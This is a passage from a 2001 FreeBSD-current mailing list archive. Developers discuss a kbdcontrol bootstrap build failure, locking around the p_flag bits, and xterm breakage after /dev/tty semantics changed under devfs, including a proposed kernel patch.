/CURRENT/usr/src. *** Error code 1 Stop in /CURRENT/usr/src. Cheers, -- Ruslan Ermilov Oracle Developer/DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 7:34:21 2001 Delivered-To: freebsd-current@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id 6F3B237B424; Tue, 15 May 2001 07:33:57 -0700 (PDT) (envelope-from ru@whale.sunbay.crimea.ua) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.2/8.11.2) id f4FEXsf63571; Tue, 15 May 2001 17:33:54 +0300 (EEST) (envelope-from ru) Date: Tue, 15 May 2001 17:33:54 +0300 From: Ruslan Ermilov To: cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org Cc: sobomax@FreeBSD.org Subject: Re: cvs commit: src Makefile.inc1 Message-ID: <20010515173354.B60756@sunbay.com> Mail-Followup-To: cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org, sobomax@FreeBSD.org References: <200105141721.f4EHL2056720@freefall.freebsd.org> <20010515161957.A54414@sunbay.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010515161957.A54414@sunbay.com>; from ru@FreeBSD.org on Tue, May 15, 2001 at 04:19:57PM +0300 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG OK, more details on 4.3-STABLE -> 5.0-CURRENT upgrade path breakage. 1. kbdcontrol(1) is used by usr.sbin/sysinstall/Makefile to generate keymap.h with keyboard maps. 2. Recent usr.sbin/sysinstall/Makefile wants to generate keymap.h from "current" keymap sources in ../../share/syscons/keymaps, so it should use "current" kbdcontrol(1) as well because: a) only -CURRENT kbdcontrol(1) understands ${KEYMAP_PATH} b) only "current" kbdcontrol(1) may understand "current" keymap file syntax, as is the keyboard "paste" feature for now. 3. So usr.sbin/kbdcontrol should be in Makefile.inc1:bootstrap-tools. 4. But bootstrap-tools are supposed to be built in a host environment, and -CURRENT kbdcontrol(1) couldn't be built on -STABLE because it requires -CURRENT sys/sys/kbio.h header (the PASTE define). I'm currently testing with -I${.CURDIR}/../../sys added to the kbdcontrol/Makefile, but this is a gross hack. On Tue, May 15, 2001 at 04:19:57PM +0300, Ruslan Ermilov wrote: > On Mon, May 14, 2001 at 10:21:02AM -0700, Ruslan Ermilov wrote: > > ru 2001/05/14 10:21:02 PDT > > > > Modified files: > > . Makefile.inc1 > > Log: > > Add kbdcontrol(1) to bootstrap-tools. > > This fixes the upgrade path breakage in usr.sbin/sysinstall. > > > > Revision Changes Path > > 1.201 +2 -1 src/Makefile.inc1 > > > Argh, this doesn't work either. I first tried this with some stuff > commented out in Makefile.inc1, and it succeeded. But at the time > kbdcontrol is built in bootstrap-tools, ${WORLDTMP}/usr/include is > not yet populated, and kbdcontrol.c requires an up-to-date header > files. OTOH, the bootstrap-tools are supposed to be built under > the host environment, so compiling against CURRENT sources would > be a bug. Ideas? > > -------------------------------------------------------------- > >>> stage 1: bootstrap tools > -------------------------------------------------------------- > [...] > cd /CURRENT/usr/src/usr.sbin/kbdcontrol; make obj; make depend; make all; make install > /usr/obj/CURRENT/usr/src/i386/CURRENT/usr/src/usr.sbin/kbdcontrol created for /CURRENT/usr/src/usr.sbin/kbdcontrol > lex -t /CURRENT/usr/src/usr.sbin/kbdcontrol/lex.l > lex.c > rm -f .depend > mkdep -f .depend -a -I/CURRENT/usr/src/usr.sbin/kbdcontrol -I/usr/obj/CURRENT/usr/src/i386/usr/include /CURRENT/usr/src/usr.sbin/kbdcontrol/kbdcontrol.c lex.c > cd /CURRENT/usr/src/usr.sbin/kbdcontrol; make _EXTRADEPEND > echo kbdcontrol: /usr/obj/CURRENT/usr/src/i386/usr/lib/libc.a /usr/obj/CURRENT/usr/src/i386/usr/lib/libl.a >> .depend > cc -O -pipe -I/CURRENT/usr/src/usr.sbin/kbdcontrol -I/usr/obj/CURRENT/usr/src/i386/usr/include -c /CURRENT/usr/src/usr.sbin/kbdcontrol/kbdcontrol.c > /CURRENT/usr/src/usr.sbin/kbdcontrol/kbdcontrol.c: In function `get_entry': > /CURRENT/usr/src/usr.sbin/kbdcontrol/kbdcontrol.c:206: `PASTE' undeclared (first use in this function) > /CURRENT/usr/src/usr.sbin/kbdcontrol/kbdcontrol.c:206: (Each undeclared identifier is reported only once > /CURRENT/usr/src/usr.sbin/kbdcontrol/kbdcontrol.c:206: for each function it appears in.) > /CURRENT/usr/src/usr.sbin/kbdcontrol/kbdcontrol.c: In function `print_entry': > /CURRENT/usr/src/usr.sbin/kbdcontrol/kbdcontrol.c:444: `PASTE' undeclared (first use in this function) > /CURRENT/usr/src/usr.sbin/kbdcontrol/kbdcontrol.c: In function `dump_entry': > /CURRENT/usr/src/usr.sbin/kbdcontrol/kbdcontrol.c:646: `PASTE' undeclared (first use in this function) > *** Error code 1 > > Stop in /CURRENT/usr/src/usr.sbin/kbdcontrol. > *** Error code 1 > > Stop in /CURRENT/usr/src. > *** Error code 1 > > Stop in /CURRENT/usr/src. > *** Error code 1 > > Stop in /CURRENT/usr/src. > > > Cheers, > -- > Ruslan Ermilov Oracle Developer/DBA, > ru@sunbay.com Sunbay Software AG, > ru@FreeBSD.org FreeBSD committer, > +380.652.512.251 Simferopol, Ukraine > > http://www.FreeBSD.org The Power To Serve > http://www.oracle.com Enabling The Information Age -- Ruslan Ermilov Oracle Developer/DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 7:42:59 2001 Delivered-To: freebsd-current@freebsd.org Received: from ringworld.nanolink.com (ringworld.nanolink.com [195.24.48.13]) by hub.freebsd.org (Postfix) with SMTP id 7B4A237B43C for ; Tue, 15 May 2001 07:42:49 -0700 (PDT) (envelope-from roam@orbitel.bg) Received: (qmail 17564 invoked by uid 1000); 15 May 2001 14:42:04 -0000 Date: Tue, 15 May 2001 17:42:04 +0300 From: Peter Pentchev To: cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org, sobomax@FreeBSD.org Subject: Re: cvs commit: src Makefile.inc1 Message-ID: <20010515174204.P11592@ringworld.oblivion.bg> Mail-Followup-To: cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org, sobomax@FreeBSD.org References: <200105141721.f4EHL2056720@freefall.freebsd.org> <20010515161957.A54414@sunbay.com> <20010515173354.B60756@sunbay.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010515173354.B60756@sunbay.com>; from ru@FreeBSD.org on Tue, May 15, 2001 at 05:33:54PM +0300 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, May 15, 2001 at 05:33:54PM +0300, Ruslan Ermilov wrote: > OK, more details on 4.3-STABLE -> 5.0-CURRENT upgrade path breakage. > > 1. kbdcontrol(1) is used by usr.sbin/sysinstall/Makefile to generate > keymap.h with keyboard maps. > > 2. Recent usr.sbin/sysinstall/Makefile wants to generate keymap.h > from "current" keymap sources in ../../share/syscons/keymaps, > so it should use "current" kbdcontrol(1) as well because: > a) only -CURRENT kbdcontrol(1) understands ${KEYMAP_PATH} > b) only "current" kbdcontrol(1) may understand "current" keymap > file syntax, as is the keyboard "paste" feature for now. > > 3. So usr.sbin/kbdcontrol should be in Makefile.inc1:bootstrap-tools. > > 4. But bootstrap-tools are supposed to be built in a host environment, > and -CURRENT kbdcontrol(1) couldn't be built on -STABLE because it > requires -CURRENT sys/sys/kbio.h header (the PASTE define). > > I'm currently testing with -I${.CURDIR}/../../sys added to the > kbdcontrol/Makefile, but this is a gross hack. Can't you teach sysinstall/Makefile to use the kbdcontrol in ${.OBJDIR}/../kbdcontrol/kbdcontrol instead, and make it somehow depend on kbdcontrol being built beforehand? G'luck, Peter -- This sentence would be seven words long if it were six words shorter. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 8:11: 5 2001 Delivered-To: freebsd-current@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id 2B9A637B43C; Tue, 15 May 2001 08:10:52 -0700 (PDT) (envelope-from ru@whale.sunbay.crimea.ua) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.2/8.11.2) id f4FFAgi67765; Tue, 15 May 2001 18:10:42 +0300 (EEST) (envelope-from ru) Date: Tue, 15 May 2001 18:10:42 +0300 From: Ruslan Ermilov To: Peter Pentchev Cc: cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org Subject: Re: cvs commit: src Makefile.inc1 Message-ID: <20010515181042.A67205@sunbay.com> References: <200105141721.f4EHL2056720@freefall.freebsd.org> <20010515161957.A54414@sunbay.com> <20010515173354.B60756@sunbay.com> <20010515174204.P11592@ringworld.oblivion.bg> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010515174204.P11592@ringworld.oblivion.bg>; from roam@orbitel.bg on Tue, May 15, 2001 at 05:42:04PM +0300 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, May 15, 2001 at 05:42:04PM +0300, Peter Pentchev wrote: [...] > Can't you teach sysinstall/Makefile to use the kbdcontrol in > ${.OBJDIR}/../kbdcontrol/kbdcontrol instead, and make it somehow > depend on kbdcontrol being built beforehand? > Doing it this way would break cross-platform builds. -- Ruslan Ermilov Oracle Developer/DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 8:49:22 2001 Delivered-To: freebsd-current@freebsd.org Received: from harmony.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 434BC37B42C; Tue, 15 May 2001 08:49:17 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.11.3/8.11.1) with ESMTP id f4FFn2N30435; Tue, 15 May 2001 09:49:02 -0600 (MDT) (envelope-from imp@harmony.village.org) Message-Id: <200105151549.f4FFn2N30435@harmony.village.org> To: Ruslan Ermilov Subject: Re: cvs commit: src Makefile.inc1 Cc: Peter Pentchev , cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org In-reply-to: Your message of "Tue, 15 May 2001 18:10:42 +0300." <20010515181042.A67205@sunbay.com> References: <20010515181042.A67205@sunbay.com> <200105141721.f4EHL2056720@freefall.freebsd.org> <20010515161957.A54414@sunbay.com> <20010515173354.B60756@sunbay.com> <20010515174204.P11592@ringworld.oblivion.bg> Date: Tue, 15 May 2001 09:49:02 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20010515181042.A67205@sunbay.com> Ruslan Ermilov writes: : Doing it this way would break cross-platform builds. I'm not seeing this breakage, but I have some simple hacks in my tree. Lemme see if I'm just lucky, or if those hacks actually work. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 9:16: 8 2001 Delivered-To: freebsd-current@freebsd.org Received: from meow.osd.bsdi.com (meow.osd.bsdi.com [204.216.28.88]) by hub.freebsd.org (Postfix) with ESMTP id 3740E37B424 for ; Tue, 15 May 2001 09:16:05 -0700 (PDT) (envelope-from jhb@FreeBSD.org) Received: from laptop.baldwin.cx (john@jhb-laptop.osd.bsdi.com [204.216.28.241]) by meow.osd.bsdi.com (8.11.2/8.11.2) with ESMTP id f4FGFrG52421; Tue, 15 May 2001 09:15:53 -0700 (PDT) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <200105150614.f4F6E0P53295@rina.r.dl.itc.u-tokyo.ac.jp> Date: Tue, 15 May 2001 09:14:59 -0700 (PDT) From: John Baldwin To: Seigo Tanimura Subject: RE: atomic operation of flags (was: RE: select(2) converted to u Cc: current@FreeBSD.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 15-May-01 Seigo Tanimura wrote: > On Mon, 07 May 2001 12:37:22 -0700 (PDT), > John Baldwin said: > > John> You need the lock when clearing the bit in p_flag. That is why the > proc locks > John> are there, so all those proc locks need to stay. When you clear a bit, > you are > John> writing all the bits, so you need to ensure that you can atomically > John> read/modify/write all the bits in p_flag, hence the need for the proc > lock. > > As we now have a set of atomic operation functions in > machine/atomic.h, why do we not use them to read, modify and write > p_flag atomically? Is that more expensive than protecting by PROC_LOCK > and PROC_UNLOCK? That does not protect this operation: PROC_LOCK(p); if (p->p_flag & P_FOO) do_something_that_depends_on_FOO_being_set; PROC_UNLOCK(p); -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 9:40:51 2001 Delivered-To: freebsd-current@freebsd.org Received: from Awfulhak.org (awfulhak.demon.co.uk [194.222.196.252]) by hub.freebsd.org (Postfix) with ESMTP id 48C4837B422; Tue, 15 May 2001 09:40:39 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (root@hak.lan.Awfulhak.org [172.16.0.12]) by Awfulhak.org (8.11.3/8.11.3) with ESMTP id f4FGeT368693; Tue, 15 May 2001 17:40:29 +0100 (BST) (envelope-from brian@lan.Awfulhak.org) Received: from hak.lan.Awfulhak.org (brian@localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.11.3/8.11.3) with ESMTP id f4FGeR576715; Tue, 15 May 2001 17:40:27 +0100 (BST) (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200105151640.f4FGeR576715@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: Peter Wemm Cc: David Wolfskill , current@FreeBSD.ORG, phk@FreeBSD.ORG, brian@Awfulhak.org Subject: Re: Huh??!? xterm: Error 14, errno 2: No such file or directory In-Reply-To: Message from Peter Wemm of "Tue, 15 May 2001 01:34:27 PDT." <20010515083427.A1AAA3811@overcee.netplex.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 15 May 2001 17:40:27 +0100 From: Brian Somers Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This makes xterm work again. Any objections to a commit ? > David Wolfskill wrote: > > > Built -CURRENT & rebooted after mergemaster as usual, and some X > > applications (xbattbar; xlockmore; oclock) work OK, but no xterm. At > > least, not from X (XF86-4.0.3). I tried using Ctl-Alt-F2 to get to > > a non-X login, logged in , set DISPLAY to m147:0.0, issued "xterm &", > > and got an xterm OK. > > Known problem. phk changed the semantics of /dev/tty in the most recent > commits. Traditional behavior for a process *without* a controlling tty > when it opens /dev/tty is to get ENXIO. > > Formerly, ctty_open() returns ENXIO: > cttyopen(dev, flag, mode, p) > { > struct vnode *ttyvp = cttyvp(p); > > if (ttyvp == NULL) > return (ENXIO); > ... > > > and now: > ctty_clone(void *arg, char *name, int namelen, dev_t *dev) > { > struct vnode *vp; > > if (*dev != NODEV) > return; > if (strcmp(name, "tty")) > return; > vp = cttyvp(curproc); > if (vp == NULL) > return; <<< here, leads to ENOENT. > *dev = vp->v_rdev; > } > > There used to be a device for the ctty. We still maintain it for the > non-devfs case. The following hack may work, I have not tested or even > compiled it: > > Index: kern/tty_tty.c > =================================================================== > RCS file: /home/ncvs/src/sys/kern/tty_tty.c,v > retrieving revision 1.34 > diff -u -r1.34 tty_tty.c > --- tty_tty.c 2001/05/14 08:22:56 1.34 > +++ tty_tty.c 2001/05/15 08:30:17 > @@ -177,6 +177,8 @@ > > static void ctty_clone __P((void *arg, char *name, int namelen, dev_t *dev)); > > +static dev_t ctty; > + > static void > ctty_clone(void *arg, char *name, int namelen, dev_t *dev) > { > @@ -187,9 +189,11 @@ > if (strcmp(name, "tty")) > return; > vp = cttyvp(curproc); > - if (vp == NULL) > - return; > - *dev = vp->v_rdev; > + if (vp == NULL) { > + if (ctty) > + *dev = ctty; > + } else > + *dev = vp->v_rdev; > } > > > @@ -201,6 +205,7 @@ > > if (devfs_present) { > EVENTHANDLER_REGISTER(dev_clone, ctty_clone, 0, 1000); > + ctty = make_dev(&ctty_cdevsw, 0, 0, 0, 0666, "ctty"); > } else { > make_dev(&ctty_cdevsw, 0, 0, 0, 0666, "tty"); > } > > This hack recreates a /dev/ctty hook that works the "old way", and makes > /dev/tty switch through to that one instead. This is evil and is probably > even more broken than before, but I think it will work. > > The alternative is to edit the XFree86 xterm source and rebuild it. > look for xc/programs/xterm/main.c where it opens /dev/tty and then > checks an inclusive list of errno's, including ENXIO and ENODEV etc. > Add ENOENT to the list of 'acceptable' errors. > > Incidently, the xterm binary is broken, it does not use libutil/openpty(). > > Cheers, > -Peter > -- > Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au > "All of this is for nothing if we don't go to the stars" - JMS/B5 > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 10:16:58 2001 Delivered-To: freebsd-current@freebsd.org Received: from sol.serv.u-szeged.hu (sol.serv.u-szeged.hu [160.114.51.3]) by hub.freebsd.org (Postfix) with ESMTP id 7E59B37B423 for ; Tue, 15 May 2001 10:16:53 -0700 (PDT) (envelope-from sziszi@petra.hos.u-szeged.hu) Received: from petra.hos.u-szeged.hu by sol.serv.u-szeged.hu (8.9.3+Sun/SMI-SVR4) id TAA09145; Tue, 15 May 2001 19:16:46 +0200 (MEST) Received: from sziszi by petra.hos.u-szeged.hu with local (Exim 3.12 #1 (Debian)) id 14ziRA-0004Gj-00 for ; Tue, 15 May 2001 19:16:44 +0200 Date: Tue, 15 May 2001 19:16:44 +0200 From: Szilveszter Adam To: current@FreeBSD.ORG Subject: Re: Huh??!? xterm: Error 14, errno 2: No such file or directory Message-ID: <20010515191644.A15886@petra.hos.u-szeged.hu> Mail-Followup-To: Szilveszter Adam , current@FreeBSD.ORG References: <200105142019.f4EKJGA75484@bunrab.catwhisker.org> <20010515083427.A1AAA3811@overcee.netplex.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010515083427.A1AAA3811@overcee.netplex.com.au>; from peter@wemm.org on Tue, May 15, 2001 at 01:34:27AM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, May 15, 2001 at 01:34:27AM -0700, Peter Wemm wrote: > David Wolfskill wrote: > > > Built -CURRENT & rebooted after mergemaster as usual, and some X > > applications (xbattbar; xlockmore; oclock) work OK, but no xterm. At > > least, not from X (XF86-4.0.3). I tried using Ctl-Alt-F2 to get to > > a non-X login, logged in , set DISPLAY to m147:0.0, issued "xterm &", > > and got an xterm OK. > > Known problem. phk changed the semantics of /dev/tty in the most recent > commits. Traditional behavior for a process *without* a controlling tty > when it opens /dev/tty is to get ENXIO. I am confused now. I have just finished building and installing world and kernel from top-of-the-tree sources: FreeBSD fonix.hos.u-szeged.hu 5.0-CURRENT FreeBSD 5.0-CURRENT #42: Tue May 15 18 :32:49 CEST 2001 root@fonix.hos.u-szeged.hu:/usr/src/sys/compile/FONIX i386 and I am (for the first time ever) a proud owner of a devfs-powered FreeBSD system. So far things are looking A-OK. Having read about all the trouble people were having with xterms, I grew a bit anxious and fired up X. It crashed because the config file contained /dev/mouse and that node no longer exists, but of course correcting it to /dev/sysmouse made things work. Then... I proceeded to open an xterm... and it opened! Just right-clicked the root window and chose xterm form the popup menu and it worked without any patch... although I am confident I do have the latest of phk-s commits and I am running on a new kernel... I am using XFree-3.3.6 and olvwm if that at all counts... of course I am happy to see no problems but why are others seeing them? -- Regards: Szilveszter ADAM Szeged University Szeged Hungary To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 10:32:27 2001 Delivered-To: freebsd-current@freebsd.org Received: from Awfulhak.org (awfulhak.demon.co.uk [194.222.196.252]) by hub.freebsd.org (Postfix) with ESMTP id 0331037B424 for ; Tue, 15 May 2001 10:32:23 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (root@hak.lan.Awfulhak.org [172.16.0.12]) by Awfulhak.org (8.11.3/8.11.3) with ESMTP id f4FHWH368964; Tue, 15 May 2001 18:32:18 +0100 (BST) (envelope-from brian@lan.Awfulhak.org) Received: from hak.lan.Awfulhak.org (brian@localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.11.3/8.11.3) with ESMTP id f4FHWG590652; Tue, 15 May 2001 18:32:16 +0100 (BST) (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200105151732.f4FHWG590652@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: Szilveszter Adam Cc: current@FreeBSD.ORG, brian@Awfulhak.org Subject: Re: Huh??!? xterm: Error 14, errno 2: No such file or directory In-Reply-To: Message from Szilveszter Adam of "Tue, 15 May 2001 19:16:44 +0200." <20010515191644.A15886@petra.hos.u-szeged.hu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 15 May 2001 18:32:16 +0100 From: Brian Somers Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Have you got v1.23 of sys/fs/devfs/devfs_vnops.c and are you running as non-root ? > On Tue, May 15, 2001 at 01:34:27AM -0700, Peter Wemm wrote: > > David Wolfskill wrote: > > > > > Built -CURRENT & rebooted after mergemaster as usual, and some X > > > applications (xbattbar; xlockmore; oclock) work OK, but no xterm. At > > > least, not from X (XF86-4.0.3). I tried using Ctl-Alt-F2 to get to > > > a non-X login, logged in , set DISPLAY to m147:0.0, issued "xterm &", > > > and got an xterm OK. > > > > Known problem. phk changed the semantics of /dev/tty in the most recent > > commits. Traditional behavior for a process *without* a controlling tty > > when it opens /dev/tty is to get ENXIO. > > I am confused now. I have just finished building and installing world and > kernel from top-of-the-tree sources: > > FreeBSD fonix.hos.u-szeged.hu 5.0-CURRENT FreeBSD 5.0-CURRENT #42: Tue May > 15 18 > :32:49 CEST 2001 root@fonix.hos.u-szeged.hu:/usr/src/sys/compile/FONIX > i386 > > and I am (for the first time ever) a proud owner of a devfs-powered FreeBSD > system. So far things are looking A-OK. > > Having read about all the trouble people were having with xterms, I grew a > bit anxious and fired up X. It crashed because the config file contained > /dev/mouse and that node no longer exists, but of course correcting it to > /dev/sysmouse made things work. Then... I proceeded to open an xterm... and > it opened! Just right-clicked the root window and chose xterm form the > popup menu and it worked without any patch... although I am confident I do > have the latest of phk-s commits and I am running on a new kernel... I am > using XFree-3.3.6 and olvwm if that at all counts... of course I am happy > to see no problems but why are others seeing them? > > -- > Regards: > > Szilveszter ADAM > Szeged University > Szeged Hungary -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 10:34:17 2001 Delivered-To: freebsd-current@freebsd.org Received: from bunrab.catwhisker.org (adsl-63-193-123-122.dsl.snfc21.pacbell.net [63.193.123.122]) by hub.freebsd.org (Postfix) with ESMTP id C282A37B424 for ; Tue, 15 May 2001 10:34:12 -0700 (PDT) (envelope-from david@catwhisker.org) Received: (from david@localhost) by bunrab.catwhisker.org (8.10.0/8.10.0) id f4FHXwI77796; Tue, 15 May 2001 10:33:58 -0700 (PDT) Date: Tue, 15 May 2001 10:33:58 -0700 (PDT) From: David Wolfskill Message-Id: <200105151733.f4FHXwI77796@bunrab.catwhisker.org> To: current@FreeBSD.ORG, sziszi@petra.hos.u-szeged.hu Subject: Re: Huh??!? xterm: Error 14, errno 2: No such file or directory In-Reply-To: <20010515191644.A15886@petra.hos.u-szeged.hu> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >Date: Tue, 15 May 2001 19:16:44 +0200 >From: Szilveszter Adam >> > Built -CURRENT & rebooted after mergemaster as usual, and some X >> > applications (xbattbar; xlockmore; oclock) work OK, but no xterm. At >> > least, not from X (XF86-4.0.3). I tried using Ctl-Alt-F2 to get to >> > a non-X login, logged in , set DISPLAY to m147:0.0, issued "xterm &", >> > and got an xterm OK. >> Known problem. phk changed the semantics of /dev/tty in the most recent >> commits. Traditional behavior for a process *without* a controlling tty >> when it opens /dev/tty is to get ENXIO. >I am confused now. I have just finished building and installing world and >kernel from top-of-the-tree sources: >... >and I am (for the first time ever) a proud owner of a devfs-powered FreeBSD >system. So far things are looking A-OK. :-) >Having read about all the trouble people were having with xterms, I grew a >bit anxious and fired up X. It crashed because the config file contained >/dev/mouse and that node no longer exists, but of course correcting it to >/dev/sysmouse made things work. What I did was add ln -fs /dev/sysmouse /dev/mouse to /etc/rc.devfs, and that part no longer was a problem. >Then... I proceeded to open an xterm... and >it opened! Just right-clicked the root window and chose xterm form the >popup menu and it worked without any patch... although I am confident I do >have the latest of phk-s commits and I am running on a new kernel... I am >using XFree-3.3.6 and olvwm if that at all counts... of course I am happy >to see no problems but why are others seeing them? How are you starting X? Based on Peter's analysis, I'd expect that if you use "startx" or "xinit" after logging in, it should still work... because you would still have a controlling tty (I think). In my case, I'm using XFree86-4 (required for the hardware I use), so I start up X via xdm, so there's no controlling tty. Then again, I may have a penchant for breaking things.... :-} Cheers, david -- David H. Wolfskill david@catwhisker.org As a computing professional, I believe it would be unethical for me to advise, recommend, or support the use (save possibly for personal amusement) of any product that is or depends on any Microsoft product. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 10:44: 7 2001 Delivered-To: freebsd-current@freebsd.org Received: from sol.serv.u-szeged.hu (sol.serv.u-szeged.hu [160.114.51.3]) by hub.freebsd.org (Postfix) with ESMTP id 775B237B422 for ; Tue, 15 May 2001 10:44:03 -0700 (PDT) (envelope-from sziszi@petra.hos.u-szeged.hu) Received: from petra.hos.u-szeged.hu by sol.serv.u-szeged.hu (8.9.3+Sun/SMI-SVR4) id TAA10274; Tue, 15 May 2001 19:44:02 +0200 (MEST) Received: from sziszi by petra.hos.u-szeged.hu with local (Exim 3.12 #1 (Debian)) id 14zirY-0004Sj-00 for ; Tue, 15 May 2001 19:44:00 +0200 Date: Tue, 15 May 2001 19:44:00 +0200 From: Szilveszter Adam To: current@FreeBSD.ORG Subject: Re: Huh??!? xterm: Error 14, errno 2: No such file or directory Message-ID: <20010515194400.C15886@petra.hos.u-szeged.hu> Mail-Followup-To: Szilveszter Adam , current@FreeBSD.ORG References: <200105151732.f4FHWG590652@hak.lan.Awfulhak.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200105151732.f4FHWG590652@hak.lan.Awfulhak.org>; from brian@Awfulhak.org on Tue, May 15, 2001 at 06:32:16PM +0100 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, May 15, 2001 at 06:32:16PM +0100, Brian Somers wrote: > Have you got v1.23 of sys/fs/devfs/devfs_vnops.c and are you running > as non-root ? Yes: ident /usr/src/sys/fs/devfs/devfs_vnops.c /usr/src/sys/fs/devfs/devfs_vnops.c: $FreeBSD: src/sys/fs/devfs/devfs_vnops.c,v 1.23 2001/05/14 08:20:46 phk Exp $ and, uhm, yes:-) But as David pointed out, it may make a difference if you use startx/xinit or xdm. I did not think of that because I never use xdm. So, clarfying things a bit, I am running as non-root but using startx, as I always have. BTW David, you can use startx too with XFree4 if you want just install the wrapper script from /usr/ports/x11/wrapper. I did this on a friend's machine and it works:-) -- Regards: Szilveszter ADAM Szeged University Szeged Hungary To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 10:46:53 2001 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.86.163]) by hub.freebsd.org (Postfix) with ESMTP id 23AF137B42C for ; Tue, 15 May 2001 10:46:46 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter 